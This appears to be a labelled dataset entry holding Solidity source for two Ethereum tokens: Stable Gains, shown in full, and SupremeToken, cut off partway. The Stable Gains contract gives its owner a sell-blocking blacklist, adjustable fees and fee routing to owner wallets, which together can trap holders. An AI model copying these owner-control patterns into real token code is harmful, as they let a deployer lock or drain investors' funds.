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/** *Submitted for verification at Etherscan.io on 2022-04-15 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract STABLEGAINS is ERC20, Ownable { // store addresses that are automatic market maker pairs. // transfer *to* these addresses could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; mapping (address => bool) public blacklist; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public swapEnabled; bool public limitsEnabled; bool public txDelayEnabled; bool public tradingEnabled; uint256 public buyTotalFees = 4; uint256 public buyDivisorFees = 3; uint256 public sellWindow1 = 3 minutes; uint256 public sellWindow2 = 6 minutes; uint256 public sellWindow3 = 9 minutes; uint256 public sellWindow4 = 12 minutes; uint256 public sellLiquidityFeeWindow1 = 6; uint256 public sellLiquidityFeeWindow2 = 5; uint256 public sellLiquidityFeeWindow3 = 3; uint256 public sellLiquidityFeeWindow4 = 2; uint256 public sellMarketingFeeWindow1 = 6; uint256 public sellMarketingFeeWindow2 = 5; uint256 public sellMarketingFeeWindow3 = 3; uint256 public sellMarketingFeeWindow4 = 2; uint256 public sellDevFee = 2; uint256 public tokensForLiquidity; uint256 public tokensForMarketing; uint256 public tokensForDev; bool private swapping; /******************/ // exclude from fees and max transaction amount, track latest buy and transfer... mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => uint256) private _latestSwapIn; mapping(address => uint256) private _latestTransfer; event UpdateUniswapV2Router(address indexed newAddr, address indexed oldAddr); event ExcludeFromFees(address indexed newAddr, bool isExcluded); event Blacklisted(address newAddr, bool isBlacklisted); event SetAutomatedMarketMakerPair(address indexed newAddr, bool indexed isPair); event MarketingWalletUpdated(address indexed newAddr, address indexed oldAddr); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Stable Gains", "STABLE") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 90000000000 ether; maxTransactionAmount = totalSupply * 99 / 1000; //.99% maxWallet = totalSupply * 3 / 100; //3% swapTokensAtAmount = totalSupply * 5 / 100000; //.005% marketingWallet = address(owner()); devWallet = address(owner()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); limitsEnabled = true; txDelayEnabled = true; _mint(msg.sender, totalSupply); } receive() external payable {} function enableTradingAndSwapping() external onlyOwner returns (bool) { require(!tradingEnabled && !swapEnabled, "trading and swapping must not be enabled already"); tradingEnabled = true; swapEnabled = true; return true; } function removeLimits() external onlyOwner returns (bool) { require(!limitsEnabled, "limits must not be removed already"); limitsEnabled = false; return true; } function disableTransferDelay() external onlyOwner returns (bool) { require(txDelayEnabled, "tx delay must not already be enabled"); txDelayEnabled = false; return true; } function updateBlacklist(address addr, bool isBlacklisted) external onlyOwner returns (bool) { require(addr != address(0), "must not blacklist the zero address"); blacklist[addr] = isBlacklisted; emit Blacklisted(addr, isBlacklisted); return true; } function updateSwapTokensAtAmount(uint256 amount) external onlyOwner returns (bool) { require(amount >= totalSupply() * 1 / 100000, "swap amount cannot be lower than 0.001% total supply."); require(amount <= totalSupply() * 5 / 1000, "swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = amount; return true; } function updateMaxTransactionAmount(uint256 amount) external onlyOwner returns (bool) { require(amount >= (totalSupply() * 1 / 1000) / 1e18, "must not be set to lower than 0.1%"); maxTransactionAmount = amount * (10**18); return true; } function updateMaxWalletAmount(uint256 amount) external onlyOwner returns (bool) { require(amount >= (totalSupply() * 5 / 1000) / 1e18, "must be set to lower than 0.5%"); maxWallet = amount * (10**18); return true; } function updateMarketingWallet(address addr) external onlyOwner returns (bool) { emit MarketingWalletUpdated(addr, marketingWallet); marketingWallet = addr; return true; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner returns (bool) { swapEnabled = enabled; return true; } function updateBuyTotalFees(uint256 fee) external onlyOwner returns (bool) { require(fee <= 10, "must not be higher than 10%"); buyTotalFees = fee; return true; } function updateBuyDivisorFees(uint256 divisor) external onlyOwner returns (bool) { buyDivisorFees = divisor; return true; } function updateSellWindows( uint256 window1, uint256 window2, uint256 window3, uint256 window4) external onlyOwner returns (bool) { sellWindow1 = window1; sellWindow2 = window2; sellWindow3 = window3; sellWindow4 = window4; return true; } function updateLiquidityFeeForSellWindows( uint256 fee1, uint256 fee2, uint256 fee3, uint256 fee4) external onlyOwner returns (bool) { require( fee1 <= 10 && fee2 <= 10 && fee3 <= 10 && fee4 <= 10, "must not be higher than 10%"); sellLiquidityFeeWindow1 = fee1; sellLiquidityFeeWindow2 = fee2; sellLiquidityFeeWindow3 = fee3; sellLiquidityFeeWindow4 = fee4; return true; } function updateMarketingFeeForSellWindows( uint256 fee1, uint256 fee2, uint256 fee3, uint256 fee4) external onlyOwner returns (bool) { require( fee1 <= 10 && fee2 <= 10 && fee3 <= 10 && fee4 <= 10, "must not be higher than 10%"); sellMarketingFeeWindow1 = fee1; sellMarketingFeeWindow2 = fee2; sellMarketingFeeWindow3 = fee3; sellMarketingFeeWindow4 = fee4; return true; } function excludeFromMaxTransaction(address addr, bool isExcluded) public onlyOwner returns (bool) { _isExcludedMaxTransactionAmount[addr] = isExcluded; return true; } function excludeFromFees(address addr, bool isExcluded) public onlyOwner returns (bool) { _isExcludedFromFees[addr] = isExcluded; emit ExcludeFromFees(addr, isExcluded); return true; } function setAutomatedMarketMakerPair(address addr, bool isPair) public onlyOwner returns (bool) { require(addr != uniswapV2Pair, "the uniswapV2Pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(addr, isPair); return true; } function isExcludedFromFees(address addr) public view returns(bool) { return _isExcludedFromFees[addr]; } function _transfer( address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!blacklist[from], "sender must not be blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } if (limitsEnabled){ if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingEnabled) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "trading is not active."); } if (txDelayEnabled) { if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_latestTransfer[tx.origin] < block.number, "_transfer: transfer delay enabled. Only one purchase per block allowed."); _latestTransfer[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "buy transfer amount exceeds the max transaction amount."); require(amount + balanceOf(to) <= maxWallet, "max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "sell transfer amount exceeds the max transaction amount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { //on sell if (automatedMarketMakerPairs[to]) { ( uint256 sellTotalFees, uint256 currentLiquidityFee, uint256 currentMarketingFee ) = getSellFeesAccount(from); fees = amount * sellTotalFees / 100; tokensForLiquidity += fees * currentLiquidityFee / sellTotalFees; tokensForMarketing += fees * currentMarketingFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; } //on buy if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForLiquidity += fees / buyDivisorFees; tokensForMarketing += fees / buyDivisorFees; tokensForDev += fees / buyDivisorFees; _latestSwapIn[to] = block.timestamp; } if (fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _setAutomatedMarketMakerPair(address addr, bool isPair) private { automatedMarketMakerPairs[addr] = isPair; emit SetAutomatedMarketMakerPair(addr, isPair); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); //make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); //add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0xdead), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap = ( tokensForLiquidity + tokensForMarketing + tokensForDev ); bool success; if (contractBalance == 0 || tokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = contractBalance * tokensForLiquidity / tokensToSwap / 2; uint256 amountToSwapForETH = contractBalance - liquidityTokens; uint256 initialETHBalance = address(this).balance; _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForMarketing = ethBalance * tokensForMarketing / tokensToSwap; uint256 ethForDev = ethBalance * tokensForDev / tokensToSwap; uint256 ethForLiquidity = ( ethBalance - ethForMarketing - ethForDev ); delete tokensForLiquidity; delete tokensForMarketing; delete tokensForDev; (success,) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function getSellFeesAccount(address addr) public view returns ( uint256 SellFeeTotal, uint256 CurrentLiquidityFee, uint256 CurrentMarketingFee) { uint256 feesWithoutLiquidityAndMarketing = sellDevFee; if (block.timestamp < _latestSwapIn[addr] + sellWindow1) { return ( ( sellLiquidityFeeWindow1 + sellMarketingFeeWindow1 + feesWithoutLiquidityAndMarketing ), sellLiquidityFeeWindow1, sellMarketingFeeWindow1 ); } if (block.timestamp > _latestSwapIn[addr] + sellWindow1 && block.timestamp < _latestSwapIn[addr] + sellWindow2) { return ( ( sellLiquidityFeeWindow2 + sellMarketingFeeWindow2 + feesWithoutLiquidityAndMarketing), sellLiquidityFeeWindow2, sellMarketingFeeWindow2 ); } if (block.timestamp > _latestSwapIn[addr] + sellWindow2 && block.timestamp < _latestSwapIn[addr] + sellWindow3) { return ( ( sellLiquidityFeeWindow3 + sellMarketingFeeWindow3 + feesWithoutLiquidityAndMarketing), sellLiquidityFeeWindow3, sellMarketingFeeWindow3 ); } if (block.timestamp > _latestSwapIn[addr] + sellWindow3) { return ( ( sellLiquidityFeeWindow4 + sellMarketingFeeWindow4 + feesWithoutLiquidityAndMarketing), sellLiquidityFeeWindow4, sellMarketingFeeWindow4 ); } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-20 */ pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Sample token contract // // Symbol : SPMT // Name : SupremeToken // Total supply : 100000000000000000000000000000 // Decimals : 18 // Owner Account : 0xCC9ccE0aA00D0C6Eb0179014cD0A935a1C320CA4 // // Enjoy. // // (c) by Juan Cruz Martinez 2020. MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Lib: Safe Math // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } /** ERC Token Standard #20 Interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /** Contract function to receive approval and execute function in one call Borrowed from MiniMeToken */ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /** ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers */ contract SPMTToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "SPMT"; name = "SupremeToken"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0xCC9ccE0aA00D0C6Eb0179014cD0A935a1C320CA4] = _totalSupply; emit Transfer(address(0), 0xCC9ccE0aA00D0C6Eb0179014cD0A935a1C320CA4, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address 